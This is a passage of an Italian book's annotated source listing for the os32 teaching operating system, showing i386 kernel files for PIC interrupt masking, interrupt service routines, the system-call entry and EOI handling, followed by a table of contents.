1230018             // IRQ from 0 to 7.
1230019             //
1230020             status = in_8 ((uint32_t) 0x21);
1230021             status = status | mask;
1230022             out_8 ((uint32_t) 0x21, status);
```

```
1230023             //
1230024             // IRQ from 8 to 15.
1230025             //
1230026             status = in_8 ((uint32_t) 0xA1);
1230027             status = status | (mask >> 8);
1230028             out_8 ((uint32_t) 0xA1, status);
1230029           }
1230030   }
```

119.6.20 kernel/ibm_i386/irq_on.c

Si veda la sezione 118.6.

```
1240001 #include <kernel/ibm_i386.h>
1240002 #include <stdint.h>
1240003 //----------------------------------------------------------------------
1240004 void
1240005 irq_on (unsigned int irq)
1240006 {
1240007     uint32_t mask;
1240008     uint32_t status;
1240009     //
1240010     if (irq > 15)
1240011       {
1240012         return; // There is not such IRQ.
1240013       }
1240014     else
1240015       {
1240016         mask   = ~((uint32_t) 1 << irq);
1240017         //
1240018         // IRQ from 0 to 7.
1240019         //
1240020         status = in_8 ((uint32_t) 0x21);
1240021         status = status & mask;
1240022         out_8 ((uint32_t) 0x21, status);
1240023         //
1240024         // IRQ from 8 to 15.
1240025         //
1240026         status = in_8 ((uint32_t) 0xA1);
1240027         status = status & (mask >> 8);
1240028         out_8 ((uint32_t) 0xA1, status);
1240029       }
1240030 }
```

119.6.21 kernel/ibm_i386/isr.s

Si veda la sezione 118.6.

```
1250001 .extern isr_exception_unrecoverable
1250002 .extern isr_irq_clear
1250003 .extern isr_irq_clear_pic1
1250004 .extern isr_irq_clear_pic2
1250005 .extern kbd_isr
1250006 .extern sysroutine
1250007 .extern proc_current
1250008 .extern proc_stack_segment_selector;
1250009 .extern proc_stack_pointer
1250010 .extern proc_scheduler
1250011 #.extern proc_sch_terminals
1250012 #
1250013 .global _clock_kernel
1250014 .global _clock_time
1250015 .global _ksp
1250016 #
1250017 .global isr_0
1250018 .global isr_1
1250019 .global isr_2
1250020 .global isr_3
1250021 .global isr_4
1250022 .global isr_5
1250023 .global isr_6
1250024 .global isr_7
1250025 .global isr_8
1250026 .global isr_9
1250027 .global isr_10
1250028 .global isr_11
1250029 .global isr_12
1250030 .global isr_13
1250031 .global isr_14
1250032 .global isr_15
1250033 .global isr_16
1250034 .global isr_17
1250035 .global isr_18
1250036 .global isr_19
1250037 .global isr_20
1250038 .global isr_21
1250039 .global isr_22
1250040 .global isr_23
1250041 .global isr_24
1250042 .global isr_25
1250043 .global isr_26
1250044 .global isr_27
1250045 .global isr_28
1250046 .global isr_29
1250047 .global isr_30
1250048 .global isr_31
1250049 .global isr_32
```

```
1250050 .global isr_33
1250051 .global isr_34
1250052 .global isr_35
1250053 .global isr_36
1250054 .global isr_37
1250055 .global isr_38
1250056 .global isr_39
1250057 .global isr_40
1250058 .global isr_41
1250059 .global isr_42
1250060 .global isr_43
1250061 .global isr_44
1250062 .global isr_45
1250063 .global isr_46
1250064 .global isr_47
1250065 .global isr_128
1250066 #-----------------------------------------------------------------------
1250067 .section .data
1250068 #-----------------------------------------------------------------------
1250069 proc_syscallnr:             .int   0x00000000
1250070 proc_msg_offset:            .int   0x00000000
1250071 proc_msg_size:              .int   0x00000000
1250072 proc_instruction_pointer:   .int   0x00000000
1250073 proc_back_address:          .int   0x00000000
1250074 _ksp:                       .int   0x00000000
1250075 syscall_working:            .int   0x00000000
1250076 _clock_kernel:
1250077 kticks_lo:                  .int   0x00000000
1250078 kticks_hi:                  .int   0x00000000
1250079 _clock_time:
1250080 tticks_lo:                  .int   0x00000000
1250081 tticks_hi:                  .int   0x00000000
1250082 #-----------------------------------------------------------------------
1250083 .section .text
1250084 #-----------------------------------------------------------------------
1250085 #
1250086 # Inside the stack there is already, placed by the CPU:
1250087 #    [omissis]
1250088 #    push %eflags
1250089 #    push %cs
1250090 #    push %eip
1250091 #
1250092 #-----------------------------------------------------------------------
1250093 isr_0:          # «division by zero exception»
1250094     cli
1250095     push $0     # Null error code.
1250096     push $0     # Exception number.
1250097     jmp exception_unrecoverable
1250098 #-----------------------------------------------------------------------
1250099 isr_1:          # «debug exception»
1250100     cli
1250101     push $0     # Null error code.
```

```
1250102     push $1     # Exception number.
1250103     jmp exception_unrecoverable
1250104 #------------------------------------------------------------------------
1250105 isr_2:          # «non maskable interrupt exception»
1250106     cli
1250107     push $0     # Null error code.
1250108     push $2     # Exception number.
1250109     jmp exception_unrecoverable
1250110 #------------------------------------------------------------------------
1250111 isr_3:          # «breakpoint exception»
1250112     cli
1250113     push $0     # Null error code.
1250114     push $3     # Exception number.
1250115     jmp exception_unrecoverable
1250116 #------------------------------------------------------------------------
1250117 isr_4:          # «into detected overflow exception»
1250118     cli
1250119     push $0     # Null error code.
1250120     push $4     # Exception number.
1250121     jmp exception_unrecoverable
1250122 #------------------------------------------------------------------------
1250123 isr_5:          # «out of bounds exception»
1250124     cli
1250125     push $0     # Null error code.
1250126     push $5     # Exception number.
1250127     jmp exception_unrecoverable
1250128 #------------------------------------------------------------------------
1250129 isr_6:          # «invalid opcode exception»
1250130     cli
1250131     push $0     # Null error code.
1250132     push $6     # Exception number.
1250133     jmp exception_unrecoverable
1250134 #------------------------------------------------------------------------
1250135 isr_7:          # «no coprocessor exception»
1250136     cli
1250137     push $0     # Null error code.
1250138     push $7     # Exception number.
1250139     jmp exception_unrecoverable
1250140 #------------------------------------------------------------------------
1250141 isr_8:          # «double fault exception»
1250142     cli
1250143     #           # Error code already present.
1250144     push $8     # Exception number.
1250145     jmp exception_unrecoverable
1250146 #------------------------------------------------------------------------
1250147 isr_9:          # «coprocessor segment overrun exception»
1250148     cli
1250149     push $0     # Null error code.
1250150     push $9     # Exception number.
1250151     jmp exception_unrecoverable
1250152 #------------------------------------------------------------------------
1250153 isr_10:         # «bad TSS exception»
```

```
1250154      cli
1250155      #           # Error code already present.
1250156      push $10    # Exception number.
1250157      jmp exception_unrecoverable
1250158  #-----------------------------------------------------------------------
1250159  isr_11:         # «segment not present exception»
1250160      cli
1250161      #           # Error code already present.
1250162      push $11    # Exception number.
1250163      jmp exception_unrecoverable
1250164  #-----------------------------------------------------------------------
1250165  isr_12:         # «stack fault exception»
1250166      cli
1250167      #           # Error code already present.
1250168      push $12    # Exception number.
1250169      jmp exception_unrecoverable
1250170  #-----------------------------------------------------------------------
1250171  isr_13:         # «general protection fault exception»
1250172      cli
1250173      #           # Error code already present.
1250174      push $13    # Exception number.
1250175      jmp exception_unrecoverable
1250176  #-----------------------------------------------------------------------
1250177  isr_14:         # «page fault exception»
1250178      cli
1250179      #           # Error code already present.
1250180      push $14    # Exception number.
1250181      jmp exception_unrecoverable
1250182  #-----------------------------------------------------------------------
1250183  isr_15:         # «unknown interrupt exception»
1250184      cli
1250185      push $0     # Null error code.
1250186      push $15    # Exception number.
1250187      jmp exception_unrecoverable
1250188  #-----------------------------------------------------------------------
1250189  isr_16:         # «coprocessor fault exception»
1250190      cli
1250191      push $0     # Null error code.
1250192      push $16    # Exception number.
1250193      jmp exception_unrecoverable
1250194  #-----------------------------------------------------------------------
1250195  isr_17:         # «alignment check exception»
1250196      cli
1250197      push $0     # Null error code.
1250198      push $17    # Exception number.
1250199      jmp exception_unrecoverable
1250200  #-----------------------------------------------------------------------
1250201  isr_18:         # «machine check exception»
1250202      cli
1250203      push $0     # Null error code.
1250204      push $18    # Exception number.
1250205      jmp exception_unrecoverable
```

```
1250206 #----------------------------------------------------------------------
1250207 isr_19:         # «reserved exception»
1250208     cli
1250209     push $0     # Null error code.
1250210     push $19    # Exception number.
1250211     jmp exception_unrecoverable
1250212 #----------------------------------------------------------------------
1250213 isr_20:         # «reserved exception»
1250214     cli
1250215     push $0     # Null error code.
1250216     push $20    # Exception number.
1250217     jmp exception_unrecoverable
1250218 #----------------------------------------------------------------------
1250219 isr_21:         # «reserved exception»
1250220     cli
1250221     push $0     # Null error code.
1250222     push $21    # Exception number.
1250223     jmp exception_unrecoverable
1250224 #----------------------------------------------------------------------
1250225 isr_22:         # «reserved exception»
1250226     cli
1250227     push $0     # Null error code.
1250228     push $22    # Exception number.
1250229     jmp exception_unrecoverable
1250230 #----------------------------------------------------------------------
1250231 isr_23:         # «reserved exception»
1250232     cli
1250233     push $0     # Null error code.
1250234     push $23    # Exception number.
1250235     jmp exception_unrecoverable
1250236 #----------------------------------------------------------------------
1250237 isr_24:         # «reserved exception»
1250238     cli
1250239     push $0     # Null error code.
1250240     push $24    # Exception number.
1250241     jmp exception_unrecoverable
1250242 #----------------------------------------------------------------------
1250243 isr_25:         # «reserved exception»
1250244     cli
1250245     push $0     # Null error code.
1250246     push $25    # Exception number.
1250247     jmp exception_unrecoverable
1250248 #----------------------------------------------------------------------
1250249 isr_26:         # «reserved exception»
1250250     cli
1250251     push $0     # Null error code.
1250252     push $26    # Exception number.
1250253     jmp exception_unrecoverable
1250254 #----------------------------------------------------------------------
1250255 isr_27:         # «reserved exception»
1250256     cli
1250257     push $0     # Null error code.
```

```
1250258     push $27    # Exception number.
1250259     jmp exception_unrecoverable
1250260 #--------------------------------------------------------------------------
1250261 isr_28:         # «reserved exception»
1250262     cli
1250263     push $0     # Null error code.
1250264     push $28    # Exception number.
1250265     jmp exception_unrecoverable
1250266 #--------------------------------------------------------------------------
1250267 isr_29:         # «reserved exception»
1250268     cli
1250269     push $0     # Null error code.
1250270     push $29    # Exception number.
1250271     jmp exception_unrecoverable
1250272 #--------------------------------------------------------------------------
1250273 isr_30:         # «reserved exception»
1250274     cli
1250275     push $0     # Null error code.
1250276     push $30    # Exception number.
1250277     jmp exception_unrecoverable
1250278 #--------------------------------------------------------------------------
1250279 isr_31:         # «reserved exception»
1250280     cli
1250281     push $0     # Null error code.
1250282     push $31    # Exception number.
1250283     jmp exception_unrecoverable
1250284 #--------------------------------------------------------------------------
1250285 isr_32:         # IRQ 0: «timer»
1250286     cli
1250287     jmp irq_timer
1250288 #--------------------------------------------------------------------------
1250289 isr_33:         # IRQ 1: tastiera
1250290     cli
1250291     jmp irq_keyboard
1250292 #--------------------------------------------------------------------------
1250293 isr_34:         # IRQ 2: viene attivato per gli IRQ da 8 a 15.
1250294     cli
1250295     push $0     # Null error code.
1250296     push $34    # IRQ number + 32.
1250297     jmp irq
1250298 #--------------------------------------------------------------------------
1250299 isr_35:         # IRQ 3
1250300     cli
1250301     push $0     # Null error code.
1250302     push $35    # IRQ number + 32.
1250303     jmp irq
1250304 #--------------------------------------------------------------------------
1250305 isr_36:         # IRQ 4
1250306     cli
1250307     push $0     # Null error code.
1250308     push $36    # IRQ number + 32.
1250309     jmp irq
```

```
1250310 #----------------------------------------------------------------------
1250311 isr_37:         # IRQ 5
1250312     cli
1250313     push $0     # Null error code.
1250314     push $37    # IRQ number + 32.
1250315     jmp irq
1250316 #----------------------------------------------------------------------
1250317 isr_38:         # IRQ 6: unità a dischetti
1250318     cli
1250319     push $0     # Null error code.
1250320     push $38    # IRQ number + 32.
1250321     jmp irq
1250322 #----------------------------------------------------------------------
1250323 isr_39:         # IRQ 7: LPT 1
1250324     cli
1250325     push $0     # Null error code.
1250326     push $39    # IRQ number + 32.
1250327     jmp irq
1250328 #----------------------------------------------------------------------
1250329 isr_40:         # IRQ 8: «real time clock (RTC)»
1250330     cli
1250331     push $0     # Null error code.
1250332     push $40    # IRQ number + 32.
1250333     jmp irq
1250334 #----------------------------------------------------------------------
1250335 isr_41:         # IRQ 9
1250336     cli
1250337     push $0     # Null error code.
1250338     push $41    # IRQ number + 32.
1250339     jmp irq
1250340 #----------------------------------------------------------------------
1250341 isr_42:         # IRQ 10
1250342     cli
1250343     push $0     # Null error code.
1250344     push $42    # IRQ number + 32.
1250345     jmp irq
1250346 #----------------------------------------------------------------------
1250347 isr_43:         # IRQ 11
1250348     cli
1250349     push $0     # Null error code.
1250350     push $43    # IRQ number + 32.
1250351     jmp irq
1250352 #----------------------------------------------------------------------
1250353 isr_44:         # IRQ 12: mouse PS/2
1250354     cli
1250355     push $0     # Null error code.
1250356     push $44    # IRQ number + 32.
1250357     jmp irq
1250358 #----------------------------------------------------------------------
1250359 isr_45:         # IRQ 13: coprocessore matematico
1250360     cli
1250361     push $0     # Null error code.
```

```
1250362     push $45    # IRQ number + 32.
1250363     jmp irq
1250364 #-----------------------------------------------------------------------
1250365 isr_46:         # IRQ 14: canale IDE primario
1250366     cli
1250367     push $0     # Null error code.
1250368     push $46    # IRQ number + 32.
1250369     jmp irq
1250370 #-----------------------------------------------------------------------
1250371 isr_47:         # IRQ 15: canale IDE secondario
1250372     cli
1250373     push $0     # Null error code.
1250374     push $47    # IRQ number + 32.
1250375     jmp irq
1250376 #-----------------------------------------------------------------------
1250377 #
1250378 # Unrecoverable exceptions.
1250379 #
1250380 exception_unrecoverable:
1250381     #
1250382     # Previous pushes:
1250383     #   [omissis]
1250384     #   push %eflags
1250385     #   push %cs
1250386     #   push %eip
1250387     #
1250388     #   push $<error_number>
1250389     #   push $<idt_item_number>
1250390     #
1250391     pushl %gs
1250392     pushl %fs
1250393     pushl %es
1250394     pushl %ds
1250395     pushl %edi
1250396     pushl %esi
1250397     pushl %ebp
1250398     pushl %ebx
1250399     pushl %edx
1250400     pushl %ecx
1250401     pushl %eax
1250402     #
1250403     call isr_exception_unrecoverable
1250404     #
1250405     popl %eax
1250406     popl %ecx
1250407     popl %edx
1250408     popl %ebx
1250409     popl %ebp
1250410     popl %esi
1250411     popl %edi
1250412     popl %ds
1250413     popl %es
```

```
1250414     popl %fs
1250415     popl %gs
1250416     #
1250417     # Remove the IDT item number and the error code.
1250418     #
1250419     add $4, %esp
1250420     add $4, %esp
1250421     #
1250422     # Return from interrupt.
1250423     #
1250424     iret
1250425 #------------------------------------------------------------------------
1250426 #
1250427 # Unspecified IRQ.
1250428 #
1250429 irq:
1250430     #
1250431     # Previous pushes:
1250432     #   [omissis]
1250433     #   push %eflags
1250434     #   push %cs
1250435     #   push %eip
1250436     #
1250437     #   push $0
1250438     #   push $<idt_item_number>
1250439     #
1250440     call isr_irq_clear
1250441     #
1250442     # Remove the IDT item number and the null error code.
1250443     #
1250444     add $4, %esp
1250445     add $4, %esp
1250446     #
1250447     # Return from interrupt.
1250448     #
1250449     iret
1250450 #------------------------------------------------------------------------
1250451 #
1250452 # Keyboard IRQ.
1250453 #
1250454 irq_keyboard:
1250455     #
1250456     # Previous pushes:
1250457     #   [omissis]
1250458     #   push %eflags
1250459     #   push %cs
1250460     #   push %eip
1250461     #
1250462     pushl %gs
1250463     pushl %fs
1250464     pushl %es
1250465     pushl %ds
```

```
1250466     pushl %edi
1250467     pushl %esi
1250468     pushl %ebp
1250469     pushl %ebx
1250470     pushl %edx
1250471     pushl %ecx
1250472     pushl %eax
1250473     #
1250474     # Set the data segments to the kernel data segment,
1250475     # so that the following variables can be accessed.
1250476     #
1250477     mov  $16, %ax # DS, ES, FS and GS.
1250478     mov  %ax, %ds
1250479     mov  %ax, %es
1250480     mov  %ax, %fs
1250481     mov  %ax, %gs
1250482     #
1250483     # Check if a system call is already working: if so,
1250484     # just leave (go to L1).
1250485     #
1250486     cmpl $1, syscall_working
1250487     je L1
1250488     #
1250489     # Call the keyboard handler.
1250490     #
1250491     call kbd_isr
1250492     #
1250493 L1: # Restore original registers.
1250494     #
1250495     popl %eax
1250496     popl %ecx
1250497     popl %edx
1250498     popl %ebx
1250499     popl %ebp
1250500     popl %esi
1250501     popl %edi
1250502     popl %ds
1250503     popl %es
1250504     popl %fs
1250505     popl %gs
1250506     #
1250507     # End of hardware interrupt to PIC 1.
1250508     #
1250509     call isr_irq_clear_pic1
1250510     #
1250511     # Return from interrupt.
1250512     #
1250513     iret
1250514 #------------------------------------------------------------------------
1250515 #
1250516 # Timer IRQ.
1250517 #
```

```
1250518 irq_timer:
1250519     #
1250520     # Previous pushes:
1250521     #   [omissis]
1250522     #   push %eflags
1250523     #   push %cs
1250524     #   push %eip
1250525     #
1250526     pushl %gs
1250527     pushl %fs
1250528     pushl %es
1250529     pushl %ds
1250530     pushl %edi
1250531     pushl %esi
1250532     pushl %ebp
1250533     pushl %ebx
1250534     pushl %edx
1250535     pushl %ecx
1250536     pushl %eax
1250537     #
1250538     # Set the data segments to the kernel data segment,
1250539     # so that the following variables can be accessed.
1250540     #
1250541     mov  $16, %ax # DS, ES, FS and GS.
1250542     mov  %ax, %ds
1250543     mov  %ax, %es
1250544     mov  %ax, %fs
1250545     mov  %ax, %gs
1250546     #
1250547     # Increment time counters, to keep time.
1250548     #
1250549     add $1, kticks_lo    # Kernel ticks counter.
1250550     adc $0, kticks_hi    #
1250551     #
1250552     add $1, tticks_lo    # Clock ticks counter.
1250553     adc $0, tticks_hi    #
1250554     #
1250555     # Check if a system call is already working: if so,
1250556     # just leave (go to L2).
1250557     #
1250558     cmpl $1, syscall_working
1250559     je L2
1250560     #
1250561     # If we are here, no system call is working and a user
1250562     # process was interrupted.
1250563     # Save process stack registers into kernel data segment.
1250564     #
1250565     mov %ss,  proc_stack_segment_selector
1250566     mov %esp, proc_stack_pointer
1250567     #
1250568     # Check if it is already in kernel mode: the kernel has PID 0.
1250569     # If so, just leave (go to L2).
```

```
1250570     #
1250571     mov proc_current, %edx       # Interrupted PID.
1250572     mov $0,           %eax       # Kernel PID.
1250573     cmp %eax, %edx
1250574     je L2
1250575     #
1250576     # If we are here, a user process was interrupted.
1250577     # Switch to the kernel stack (data segment descriptor).
1250578     #
1250579     mov $16, %ax
1250580     mov %ax, %ss
1250581     mov _ksp, %esp
1250582     #
1250583     # Call the scheduler.
1250584     #
1250585     call proc_scheduler
1250586     #
1250587     # Restore process stack registers from kernel data segment.
1250588     #
1250589     mov proc_stack_segment_selector, %ss
1250590     mov proc_stack_pointer, %esp
1250591     #
1250592 L2: # Restore from process stack.
1250593     #
1250594     popl %eax
1250595     popl %ecx
1250596     popl %edx
1250597     popl %ebx
1250598     popl %ebp
1250599     popl %esi
1250600     popl %edi
1250601     popl %ds
1250602     popl %es
1250603     popl %fs
1250604     popl %gs
1250605     #
1250606     # End of hardware interrupt to PIC 1.
1250607     #
1250608     call isr_irq_clear_pic1
1250609     #
1250610     # Return from interrupt.
1250611     #
1250612     iret
1250613 #-----------------------------------------------------------------------
1250614 #
1250615 # System call.
1250616 #
1250617 isr_128:
1250618     #
1250619     # Previous pushes:
1250620     #   [omissis]
1250621     #   push message_size
```

```
1250622         #   push &message_structure
1250623         #   push syscall_number
1250624         #   push back_address   # made by a call to sys() function
1250625         #   push %eflags        # made by int $128 (0x80)
1250626         #   push %cs            # made by int $128 (0x80)
1250627         #   push %eip           # made by int $128 (0x80)
1250628         #
1250629         #-------------------------------------------------------------------
1250630         #
1250631         # Save into process stack:
1250632         #
1250633         pushl %gs
1250634         pushl %fs
1250635         pushl %es
1250636         pushl %ds
1250637         pushl %edi
1250638         pushl %esi
1250639         pushl %ebp
1250640         pushl %ebx
1250641         pushl %edx
1250642         pushl %ecx
1250643         pushl %eax
1250644         #
1250645         # Set the data segments to the kernel data segment.
1250646         #
1250647         mov  $16, %ax # DS, ES, FS and GS.
1250648         mov  %ax, %ds
1250649         mov  %ax, %es
1250650         mov  %ax, %fs
1250651         mov  %ax, %gs
1250652         #
1250653         # Tell that it is a system call.
1250654         #
1250655         movl $1, syscall_working
1250656         #
1250657         # Save process stack registers into kernel data segment.
1250658         #
1250659         mov %ss,  proc_stack_segment_selector
1250660         mov %esp, proc_stack_pointer
1250661         #
1250662         # Save some more data, from the system call.
1250663         #
1250664         .equ SYSCALL_NUMBER,      60
1250665         .equ MESSAGE_OFFSET,      64
1250666         .equ MESSAGE_SIZE,        68
1250667         #
1250668         mov %esp, %ebp
1250669         mov SYSCALL_NUMBER(%ebp), %eax
1250670         mov %eax, proc_syscallnr
1250671         mov MESSAGE_OFFSET(%ebp), %eax
1250672         mov %eax, proc_msg_offset
1250673         mov MESSAGE_SIZE(%ebp), %eax
```

```
1250674         mov %eax, proc_msg_size
1250675         #
1250676         # Check if it is already in kernel mode: the kernel has PID 0.
1250677         #
1250678         mov proc_current, %edx       # Interrupted PID.
1250679         mov $0,           %eax       # Kernel PID.
1250680         cmp %eax, %edx
1250681         jne L3
1250682         #
1250683         # It is already the kernel stack, so, the variable "_ksp" is
1250684         # aligned to current stack pointer. This way, the first syscall
1250685         # can work without having to set the "_ksp" variable to some
1250686         # reasonable value.
1250687         #
1250688         mov %esp, _ksp
1250689         #
1250690     L3: # Switch to the kernel stack (data segment descriptor).
1250691         #
1250692         mov $16, %ax
1250693         mov %ax, %ss
1250694         mov _ksp, %esp
1250695         #
1250696         # Call the external sysroutine handler.
1250697         #
1250698         push proc_msg_size
1250699         push proc_msg_offset
1250700         push proc_syscallnr
1250701         call sysroutine
1250702         add $4, %esp
1250703         add $4, %esp
1250704         add $4, %esp
1250705         #
1250706         # Restore process stack registers from kernel data segment.
1250707         #
1250708         mov proc_stack_segment_selector, %ss
1250709         mov proc_stack_pointer, %esp
1250710         #
1250711         # End of system call.
1250712         #
1250713         movl $0, syscall_working
1250714         #
1250715         # Restore from process stack.
1250716         #
1250717         popl %eax
1250718         popl %ecx
1250719         popl %edx
1250720         popl %ebx
1250721         popl %ebp
1250722         popl %esi
1250723         popl %edi
1250724         popl %ds
1250725         popl %es
```

```
1250726        popl %fs
1250727        popl %gs
1250728        #
1250729        # Return from interrupt.
1250730        #
1250731        iret
```

119.6.22 kernel/ibm_i386/isr_exception_name.c

Si veda la sezione 118.6.

```
1260001 #include <kernel/ibm_i386.h>
1260002 //----------------------------------------------------------------------
1260003 char
1260004 *isr_exception_name (int exception)
1260005 {
1260006     char *description[19] = {"division by zero",
1260007                              "debug",
1260008                              "non maskable interrupt",
1260009                              "breakpoint",
1260010                              "into detected overflow",
1260011                              "out of bounds",
1260012                              "invalid opcode",
1260013                              "no coprocessor",
1260014                              "double fault",
1260015                              "coprocessor segmento overrun",
1260016                              "bad TSS",
1260017                              "segment not present",
1260018                              "stack fault",
1260019                              "general protection fault",
1260020                              "page fault",
1260021                              "unknown interrupt",
1260022                              "coprocessor fault",
1260023                              "alignment check",
1260024                              "machine check"};
1260025     //
1260026     if (exception >= 0 && exception <= 18)
1260027       {
1260028         return description[exception];
1260029       }
1260030     else
1260031       {
1260032         return "unknown";
1260033       }
1260034 }
```

119.6.23 kernel/ibm_i386/isr_exception_unrecoverable.c

Si veda la sezione 118.6.

```
1270001 #include <kernel/ibm_i386.h>
1270002 #include <kernel/lib_k.h>
1270003 #include <sys/types.h>
1270004 //----------------------------------------------------------------------
1270005 void
1270006 isr_exception_unrecoverable (uint32_t eax, uint32_t ecx, uint32_t edx,
1270007                              uint32_t ebx, uint32_t ebp, uint32_t esi,
1270008                              uint32_t edi, uint32_t ds,  uint32_t es,
1270009                              uint32_t fs,  uint32_t gs,
1270010                              uint32_t interrupt, uint32_t error,
1270011                              uint32_t eip, uint32_t cs, uint32_t eflags)
1270012 {
1270013     pid_t pid = cs / 8;
1270014     //
1270015     k_printf ("[%s] ERROR: pid: %i exception %i: \"%s\"\n",
1270016             __func__, pid, interrupt, isr_exception_name (interrupt));
1270017     //
1270018     // Exit the unrecoverable application.
1270019     //
1270020     k_exit ();
1270021 }
```

119.6.24 kernel/ibm_i386/isr_irq_clear.c

Si veda la sezione 118.6.

```
1280001 #include <kernel/ibm_i386.h>
1280002 //----------------------------------------------------------------------
1280003 void
1280004 isr_irq_clear (uint32_t idtn)
1280005 {
1280006     int irq = idtn - 32;
1280007     //
1280008     // Must tell the PIC (programmable interrupt controller).
1280009     //
1280010     // If the IRQ number is between 8 and 15, send message «EOI»
1280011     // (End of IRQ) to PIC 2.
1280012     //
1280013     if (irq >= 8)
1280014       {
1280015         out_8 (0xA0, 0x20);
1280016       }
1280017     //
1280018     // Then send message «EOI» to PIC 1.
1280019     //
1280020     out_8 (0x20, 0x20);
1280021 }
```

119.6.25 kernel/ibm_i386/isr_irq_clear_pic1.c

Si veda la sezione 118.6.

```
1290001 #include <kernel/ibm_i386.h>
1290002 //----------------------------------------------------------------------
1290003 void
1290004 isr_irq_clear_pic1 (void)
1290005 {
1290006     //
1290007     // Send message «EOI» to PIC 1.
1290008     //
1290009     out_8 ((uint32_t) 0x20, (uint32_t) 0x20);
1290010 }
```

119.6.26 kernel/ibm_i386/isr_irq_clear_pic2.c

Si veda la sezione 118.6.

```
1300001 #include <kernel/ibm_i386.h>
1300002 //----------------------------------------------------------------------
1300003 void
1300004 isr_irq_clear_pic2 (void)
1300005 {
1300006     //
1300007     // Send message «EOI» (End of IRQ) to PIC 2.
1300008     // It must be sent after a IRQ number between 8 and 15, but after
1300009     // that, remember that also the PIC 1 must receive an «EOI» message
1300010     // (maybe with the help of 'isr_irq_clear_pic1()' function).
1300011     //
1300012     out_8 ((uint32_t) 0xA0, (uint32_t) 0x20);
1300013 }
```

119.6.27 kernel/ibm_i386/sti.s

Si veda la sezione 118.6.

```
1310001 .global sti
1310002 #-----------------------------------------------------------------------
1310003 .text
1310004 #-----------------------------------------------------------------------
1310005 # Set interrupt flag.
1310006 #-----------------------------------------------------------------------
1310007 .align 4
1310008 sti:
1310009     sti
1310010     ret
```

119.7 os32: «kernel/lib_k.h»

Si veda la sezione 118.8.

```
1320001 #ifndef _KERNEL_LIB_K_H
1320002 #define _KERNEL_LIB_K_H        1
1320003 //----------------------------------------------------------------------
1320004 #include <restrict.h>
1320005 #include <size_t.h>
1320006 #include <stdarg.h>
1320007 #include <stdint.h>
1320008 #include <time.h>
1320009 //----------------------------------------------------------------------
1320010 void    k_exit     (void);
1320011 void    k_sleep    (clock_t time);
1320012 char   *k_gets     (char *s);
1320013 void    k_perror   (const char *s);
1320014 int     k_printf   (const char *restrict format, ...);
1320015 int     k_stime    (time_t *timer);
1320016 int     k_vprintf  (const char *restrict format, va_list arg);
1320017 int     k_vsprintf (char *restrict string, const char *restrict format,
1320018                     va_list arg);
1320019 //----------------------------------------------------------------------
1320020 #endif
```


119.1 os32: directory principale 7031

119.1.1 applic.sep.ld 7031
119.1.2 bochs 7032
119.1.3 elf-to-os32 7032
119.1.4 kernel.ld 7034
119.1.5 makeit.sep 7035
119.1.6 qemu 7042

119.2 os32: «kernel/blk.h» 7043

119.2.1 kernel/blk/blk_ata.c 7050
119.2.2 kernel/blk/blk_cache_check.c 7052
119.2.3 kernel/blk/blk_cache_init.c 7052
119.2.4 kernel/blk/blk_cache_read.c 7053
119.2.5 kernel/blk/blk_cache_save.c 7054
119.2.6 kernel/blk/blk_public.c 7055

119.3 os32: «kernel/dev.h» 7055

119.3.1 kernel/dev/dev_ata.c 7062
119.3.2 kernel/dev/dev_dm.c 7064
119.3.3 kernel/dev/dev_io.c 7065

119.3.4 kernel/dev/dev_kmem.c 7066
119.3.5 kernel/dev/dev_mem.c 7070
119.3.6 kernel/dev/dev_tty.c 7072

119.4 os32: «kernel/dm.h» 7074

119.4.1 kernel/dm/dm_init.c 7080
119.4.2 kernel/dm/dm_public.c 7083
119.4.3 kernel/driver/ata.h 7083
119.4.4 kernel/driver/ata/ata_cmd_identify_device.c 7086
119.4.5 kernel/driver/ata/ata_cmd_read_sectors.c 7087
119.4.6 kernel/driver/ata/ata_cmd_write_sectors.c 7089
119.4.7 kernel/driver/ata/ata_device.c 7091
119.4.8 kernel/driver/ata/ata_drq.c 7092
119.4.9 kernel/driver/ata/ata_init.c 7093
119.4.10 kernel/driver/ata/ata_lba28.c 7098
119.4.11 kernel/driver/ata/ata_public.c 7099
119.4.12 kernel/driver/ata/ata_rdy.c 7099
119.4.13 kernel/driver/ata/ata_reset.c 7101
119.4.14 kernel/driver/ata/ata_valid.c 7101
119.4.15 kernel/driver/kbd.h 7102
119.4.16 kernel/driver/kbd/kbd_isr.c 7102
119.4.17 kernel/driver/kbd/kbd_load.c 7104
119.4.18 kernel/driver/kbd/kbd_public.c 7106
119.4.19 kernel/driver/screen.h 7106
119.4.20 kernel/driver/screen/screen_clear.c 7107
119.4.21 kernel/driver/screen/screen_current.c 7108
119.4.22 kernel/driver/screen/screen_init.c 7108
119.4.23 kernel/driver/screen/screen_new_line.c 7109
119.4.24 kernel/driver/screen/screen_number.c 7110
119.4.25 kernel/driver/screen/screen_pointer.c 7111
119.4.26 kernel/driver/screen/screen_public.c 7111
119.4.27 kernel/driver/screen/screen_putc.c 7111
119.4.28 kernel/driver/screen/screen_scroll.c 7113
119.4.29 kernel/driver/screen/screen_select.c 7114
119.4.30 kernel/driver/screen/screen_update.c 7114
119.4.31 kernel/driver/tty.h 7116
119.4.32 kernel/driver/tty/tty_console.c 7116
119.4.33 kernel/driver/tty/tty_init.c 7117
119.4.34 kernel/driver/tty/tty_public.c 7119
119.4.35 kernel/driver/tty/tty_read.c 7119

119.4.36 kernel/driver/tty/tty_reference.c 7120
119.4.37 kernel/driver/tty/tty_write.c 7121

119.5 os32: «kernel/fs.h» 7121

119.5.1 kernel/fs/fd_dup.c 7131
119.5.2 kernel/fs/fd_reference.c 7133
119.5.3 kernel/fs/file_pipe_make.c 7134
119.5.4 kernel/fs/file_reference.c 7135
119.5.5 kernel/fs/file_stdio_dev_make.c 7136
119.5.6 kernel/fs/file_table.c 7137
119.5.7 kernel/fs/fs_init.c 7137
119.5.8 kernel/fs/inode_alloc.c 7137
119.5.9 kernel/fs/inode_check.c 7141
119.5.10 kernel/fs/inode_dir_empty.c 7142
119.5.11 kernel/fs/inode_file_read.c 7144
119.5.12 kernel/fs/inode_file_write.c 7146
119.5.13 kernel/fs/inode_free.c 7148
119.5.14 kernel/fs/inode_fzones_read.c 7149
119.5.15 kernel/fs/inode_fzones_write.c 7151
119.5.16 kernel/fs/inode_get.c 7152
119.5.17 kernel/fs/inode_pipe_make.c 7155
119.5.18 kernel/fs/inode_pipe_read.c 7157
119.5.19 kernel/fs/inode_pipe_write.c 7159
119.5.20 kernel/fs/inode_print.c 7161
119.5.21 kernel/fs/inode_put.c 7163
